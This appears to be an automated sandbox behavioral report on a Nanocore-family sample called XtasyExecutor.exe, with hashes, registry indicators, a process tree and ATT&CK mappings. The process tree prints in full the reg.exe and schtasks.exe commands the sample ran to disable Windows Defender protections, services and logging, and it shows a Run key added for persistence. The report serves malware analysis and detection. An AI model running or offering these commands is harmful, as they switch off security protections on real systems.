Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
17-12-2024 18:45
Behavioral task
behavioral1
Sample
XtasyExecutor.exe
Resource
win7-20241010-en
General
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Target
XtasyExecutor.exe
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Size
202KB
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MD5
20bd0480bb862bd1d073477a87aede81
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SHA1
3c7c72fc3c1bec023386ac6ed14ad5cb785fe4ce
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SHA256
548529c38438f4a9aea915448e183f24d4ddbe793a86090075775a154d59f067
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SHA512
6b4817a7921bb62bbaf6835a3948a1811914f652f5f6ad86fe0b52376b6347d180488c3de4f02ba8ec962c45c5b4d6ad91eba11441989bbb42dab2863dfaa766
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SSDEEP
6144:gLV6Bta6dtJmakIM5E/hBp4OnvF3ZO2hdi:gLV6BtpmkJBprnvF3AWi
Malware Config
Signatures
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description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe -
Nanocore family
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WPA Service = "C:\\Program Files (x86)\\WPA Service\\wpasv.exe" XtasyExecutor.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA XtasyExecutor.exe -
Modifies Security services 2 TTPs 4 IoCs
Modifies the startup behavior of a security service.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4" reg.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\WPA Service\wpasv.exe XtasyExecutor.exe File created C:\Program Files (x86)\WPA Service\wpasv.exe XtasyExecutor.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 33 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language XtasyExecutor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Suspicious behavior: EnumeratesProcesses 24 IoCs
pid Process 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe 2208 XtasyExecutor.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2208 XtasyExecutor.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2208 XtasyExecutor.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2208 wrote to memory of 2752 2208 XtasyExecutor.exe 30 PID 2208 wrote to memory of 2752 2208 XtasyExecutor.exe 30 PID 2208 wrote to memory of 2752 2208 XtasyExecutor.exe 30 PID 2208 wrote to memory of 2752 2208 XtasyExecutor.exe 30 PID 2752 wrote to memory of 2864 2752 cmd.exe 32 PID 2752 wrote to memory of 2864 2752 cmd.exe 32 PID 2752 wrote to memory of 2864 2752 cmd.exe 32 PID 2752 wrote to memory of 2864 2752 cmd.exe 32 PID 2752 wrote to memory of 2816 2752 cmd.exe 33 PID 2752 wrote to memory of 2816 2752 cmd.exe 33 PID 2752 wrote to memory of 2816 2752 cmd.exe 33 PID 2752 wrote to memory of 2816 2752 cmd.exe 33 PID 2752 wrote to memory of 2836 2752 cmd.exe 34 PID 2752 wrote to memory of 2836 2752 cmd.exe 34 PID 2752 wrote to memory of 2836 2752 cmd.exe 34 PID 2752 wrote to memory of 2836 2752 cmd.exe 34 PID 2752 wrote to memory of 2704 2752 cmd.exe 35 PID 2752 wrote to memory of 2704 2752 cmd.exe 35 PID 2752 wrote to memory of 2704 2752 cmd.exe 35 PID 2752 wrote to memory of 2704 2752 cmd.exe 35 PID 2752 wrote to memory of 2904 2752 cmd.exe 36 PID 2752 wrote to memory of 2904 2752 cmd.exe 36 PID 2752 wrote to memory of 2904 2752 cmd.exe 36 PID 2752 wrote to memory of 2904 2752 cmd.exe 36 PID 2752 wrote to memory of 2648 2752 cmd.exe 37 PID 2752 wrote to memory of 2648 2752 cmd.exe 37 PID 2752 wrote to memory of 2648 2752 cmd.exe 37 PID 2752 wrote to memory of 2648 2752 cmd.exe 37 PID 2752 wrote to memory of 2644 2752 cmd.exe 38 PID 2752 wrote to memory of 2644 2752 cmd.exe 38 PID 2752 wrote to memory of 2644 2752 cmd.exe 38 PID 2752 wrote to memory of 2644 2752 cmd.exe 38 PID 2752 wrote to memory of 2664 2752 cmd.exe 39 PID 2752 wrote to memory of 2664 2752 cmd.exe 39 PID 2752 wrote to memory of 2664 2752 cmd.exe 39 PID 2752 wrote to memory of 2664 2752 cmd.exe 39 PID 2752 wrote to memory of 2680 2752 cmd.exe 40 PID 2752 wrote to memory of 2680 2752 cmd.exe 40 PID 2752 wrote to memory of 2680 2752 cmd.exe 40 PID 2752 wrote to memory of 2680 2752 cmd.exe 40 PID 2752 wrote to memory of 2708 2752 cmd.exe 41 PID 2752 wrote to memory of 2708 2752 cmd.exe 41 PID 2752 wrote to memory of 2708 2752 cmd.exe 41 PID 2752 wrote to memory of 2708 2752 cmd.exe 41 PID 2752 wrote to memory of 2728 2752 cmd.exe 42 PID 2752 wrote to memory of 2728 2752 cmd.exe 42 PID 2752 wrote to memory of 2728 2752 cmd.exe 42 PID 2752 wrote to memory of 2728 2752 cmd.exe 42 PID 2752 wrote to memory of 2772 2752 cmd.exe 43 PID 2752 wrote to memory of 2772 2752 cmd.exe 43 PID 2752 wrote to memory of 2772 2752 cmd.exe 43 PID 2752 wrote to memory of 2772 2752 cmd.exe 43 PID 2752 wrote to memory of 1072 2752 cmd.exe 44 PID 2752 wrote to memory of 1072 2752 cmd.exe 44 PID 2752 wrote to memory of 1072 2752 cmd.exe 44 PID 2752 wrote to memory of 1072 2752 cmd.exe 44 PID 2752 wrote to memory of 1056 2752 cmd.exe 45 PID 2752 wrote to memory of 1056 2752 cmd.exe 45 PID 2752 wrote to memory of 1056 2752 cmd.exe 45 PID 2752 wrote to memory of 1056 2752 cmd.exe 45 PID 2752 wrote to memory of 1848 2752 cmd.exe 46 PID 2752 wrote to memory of 1848 2752 cmd.exe 46 PID 2752 wrote to memory of 1848 2752 cmd.exe 46 PID 2752 wrote to memory of 1848 2752 cmd.exe 46
Processes
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C:\Users\Admin\AppData\Local\Temp\XtasyExecutor.exe"C:\Users\Admin\AppData\Local\Temp\XtasyExecutor.exe"1⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\c5f771ca.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f3⤵
- System Location Discovery: System Language Discovery
PID:2864
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f3⤵
- System Location Discovery: System Language Discovery
PID:2816
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f3⤵
- System Location Discovery: System Language Discovery
PID:2836
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f3⤵
- System Location Discovery: System Language Discovery
PID:2704
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f3⤵
- System Location Discovery: System Language Discovery
PID:2904
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2648
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2644
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2664
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2680
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f3⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2708
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f3⤵
- System Location Discovery: System Language Discovery
PID:2728
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f3⤵
- System Location Discovery: System Language Discovery
PID:2772
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f3⤵
- System Location Discovery: System Language Discovery
PID:1072
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f3⤵
- System Location Discovery: System Language Discovery
PID:1056
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f3⤵
- System Location Discovery: System Language Discovery
PID:1848
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f3⤵
- System Location Discovery: System Language Discovery
PID:2348
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C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable3⤵
- System Location Discovery: System Language Discovery
PID:2224
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C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable3⤵
- System Location Discovery: System Language Discovery
PID:2216
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C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable3⤵
- System Location Discovery: System Language Discovery
PID:1168
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C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable3⤵
- System Location Discovery: System Language Discovery
PID:2712
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C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable3⤵
- System Location Discovery: System Language Discovery
PID:3012
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C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f3⤵
- System Location Discovery: System Language Discovery
PID:1888
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C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f3⤵
- System Location Discovery: System Language Discovery
PID:2560
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C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f3⤵
- System Location Discovery: System Language Discovery
PID:2544
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C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f3⤵
- System Location Discovery: System Language Discovery
PID:2840
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C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f3⤵
- System Location Discovery: System Language Discovery
PID:2992
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f3⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:2980
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f3⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:3028
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f3⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:3000
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f3⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:2748
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C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f3⤵
- Modifies security service
- System Location Discovery: System Language Discovery
PID:2232
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Replay Monitor
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Downloads
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Filesize
3KB
MD510e9d7377b7fd4df43145ae4c8b136b3
SHA14002ba143ff336f631d36c6afd93464822ba541e
SHA2561b1b51dbe669925f941f0b3e04c7d00f29af6746179a7b72a58391720cd23da1
SHA512c28b439ab8fdc3e8da7217250b5f13be1613b0acf5677758d65fe7e46f0abdea08db73ecce5ca38fb88c8c25064fddc04e1f23d4d70058d27a0ba23a980fe885